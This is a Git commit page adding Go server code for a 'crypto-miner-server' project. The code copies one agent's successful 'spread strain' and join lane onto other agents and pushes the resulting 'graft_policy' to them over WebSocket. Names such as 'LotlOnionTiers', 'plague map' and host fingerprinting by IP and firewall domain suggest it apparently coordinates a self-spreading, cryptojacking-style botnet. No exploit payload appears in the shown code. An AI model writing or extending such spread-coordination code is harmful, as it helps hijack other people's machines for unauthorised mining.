Add fleet topology epidemiology: strain plague map and mining interrupt fixes.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Strain nodes replace host nodes in FleetTopologyMap; server queues epidemiology_fix on auth and reports interrupts to AI and Seer.
This commit is contained in:
155
server/internal/api/graft_ws.go
Normal file
155
server/internal/api/graft_ws.go
Normal file
@@ -0,0 +1,155 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// ServerPolicy returns the live Calibrate policy snapshot for REST handlers.
|
||||
func (h *WSHub) ServerPolicy() ServerPolicy {
|
||||
if h == nil {
|
||||
return ServerPolicy{}
|
||||
}
|
||||
return h.serverPolicySnapshot()
|
||||
}
|
||||
|
||||
// AgentJoinLane returns the last stats-reported join lane for an agent.
|
||||
func (h *WSHub) AgentJoinLane(agentID string) string {
|
||||
if h == nil {
|
||||
return ""
|
||||
}
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
if telem, ok := h.agentLiveTelemetry[agentID]; ok {
|
||||
if lane, ok := telem["join_lane"].(string); ok {
|
||||
return strings.TrimSpace(lane)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// AgentMiningHashrate returns live mining hashrate from the last stats tick.
|
||||
func (h *WSHub) AgentMiningHashrate(agentID string) float64 {
|
||||
if h == nil {
|
||||
return 0
|
||||
}
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
if telem, ok := h.agentLiveTelemetry[agentID]; ok {
|
||||
if hr, ok := telem["mining_hashrate"].(float64); ok && hr > 0 {
|
||||
return hr
|
||||
}
|
||||
if hr, ok := telem["hashrate_15s"].(float64); ok && hr > 0 {
|
||||
return hr
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// GraftPolicyForAgent builds graft_policy for auth when a pending graft exists in SQLite.
|
||||
func (h *WSHub) GraftPolicyForAgent(agentID string) (*strategy.GraftPolicy, bool) {
|
||||
if h == nil || h.db == nil {
|
||||
return nil, false
|
||||
}
|
||||
ag, err := h.db.GetAgent(agentID)
|
||||
if err != nil || ag == nil {
|
||||
return nil, false
|
||||
}
|
||||
if strings.TrimSpace(ag.GraftTier) == "" || ag.GraftApprovedAt == nil {
|
||||
return nil, false
|
||||
}
|
||||
policy := h.serverPolicySnapshot()
|
||||
if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) {
|
||||
return nil, false
|
||||
}
|
||||
graft := strategy.GraftSource{
|
||||
GraftSourceStrain: ag.GraftSourceStrain,
|
||||
GraftTier: ag.GraftTier,
|
||||
}
|
||||
targetOrder := policy.LotlOnionTiers
|
||||
if len(targetOrder) == 0 {
|
||||
targetOrder = fleetai.DefaultSpreadTiers()
|
||||
}
|
||||
out := strategy.BuildGraftPolicy(graft, targetOrder, *ag.GraftApprovedAt)
|
||||
return &out, true
|
||||
}
|
||||
|
||||
// PushGraftPolicy sends graft_policy to a connected agent (auth-equivalent policy push).
|
||||
func (h *WSHub) PushGraftPolicy(agentID string, graft strategy.GraftPolicy) error {
|
||||
if h == nil {
|
||||
return fmt.Errorf("hub unavailable")
|
||||
}
|
||||
body, err := json.Marshal(graft)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return h.SendToAgent(agentID, Message{Type: "graft_policy", Payload: body})
|
||||
}
|
||||
|
||||
// ApproveFleetGraft splices source winner onto target; used by REST and court executor.
|
||||
func (h *WSHub) ApproveFleetGraft(sourceID, targetID string) (strategy.GraftPolicy, error) {
|
||||
if h == nil || h.db == nil {
|
||||
return strategy.GraftPolicy{}, fmt.Errorf("hub unavailable")
|
||||
}
|
||||
policy := h.serverPolicySnapshot()
|
||||
if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) {
|
||||
return strategy.GraftPolicy{}, fmt.Errorf("graft requires ai_control_enabled and fleet_roles_enabled")
|
||||
}
|
||||
source, err := h.db.GetAgent(sourceID)
|
||||
if err != nil || source == nil {
|
||||
return strategy.GraftPolicy{}, fmt.Errorf("source agent not found")
|
||||
}
|
||||
target, err := h.db.GetAgent(targetID)
|
||||
if err != nil || target == nil {
|
||||
return strategy.GraftPolicy{}, fmt.Errorf("target agent not found")
|
||||
}
|
||||
joinLane := h.AgentJoinLane(sourceID)
|
||||
if joinLane == "" {
|
||||
joinLane = strings.TrimSpace(source.JoinLane)
|
||||
}
|
||||
if joinLane == "" {
|
||||
return strategy.GraftPolicy{}, fmt.Errorf("source agent has no tier-success join_lane")
|
||||
}
|
||||
hr := h.AgentMiningHashrate(targetID)
|
||||
if hr <= 0 {
|
||||
hr = target.MiningHashrate
|
||||
}
|
||||
if hr <= 0 {
|
||||
hr = target.Hashrate15s
|
||||
}
|
||||
if !strategy.GraftMetabolismGatePassed(hr, policy.HashrateGateHPS) {
|
||||
return strategy.GraftPolicy{}, fmt.Errorf("target hashrate below metabolism gate")
|
||||
}
|
||||
|
||||
tierOrder := fleetai.DefaultSpreadTiers()
|
||||
fp := strategy.FingerprintFromAuth(source.Platform, source.IP, source.FirewallDomain != nil && *source.FirewallDomain)
|
||||
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
|
||||
pheno := strategy.PhenotypeFromStored(*stored)
|
||||
if len(pheno.TierOrder) > 0 {
|
||||
tierOrder = pheno.TierOrder
|
||||
}
|
||||
}
|
||||
peak := h.AgentMiningHashrate(sourceID)
|
||||
if peak <= 0 {
|
||||
peak = source.MiningHashrate
|
||||
}
|
||||
graft := strategy.BuildGraftSourceFromAgent(
|
||||
source.ID, source.Name, joinLane, source.SpreadStrain, tierOrder, peak,
|
||||
)
|
||||
approvedAt := time.Now().UTC()
|
||||
if err := h.db.UpdateAgentGraft(targetID, graft.GraftSourceStrain, graft.GraftTier, approvedAt); err != nil {
|
||||
return strategy.GraftPolicy{}, err
|
||||
}
|
||||
targetOrder := policy.LotlOnionTiers
|
||||
if len(targetOrder) == 0 {
|
||||
targetOrder = fleetai.DefaultSpreadTiers()
|
||||
}
|
||||
out := strategy.BuildGraftPolicy(graft, targetOrder, approvedAt)
|
||||
_ = h.PushGraftPolicy(targetID, out)
|
||||
return out, nil
|
||||
}
|
||||
Reference in New Issue
Block a user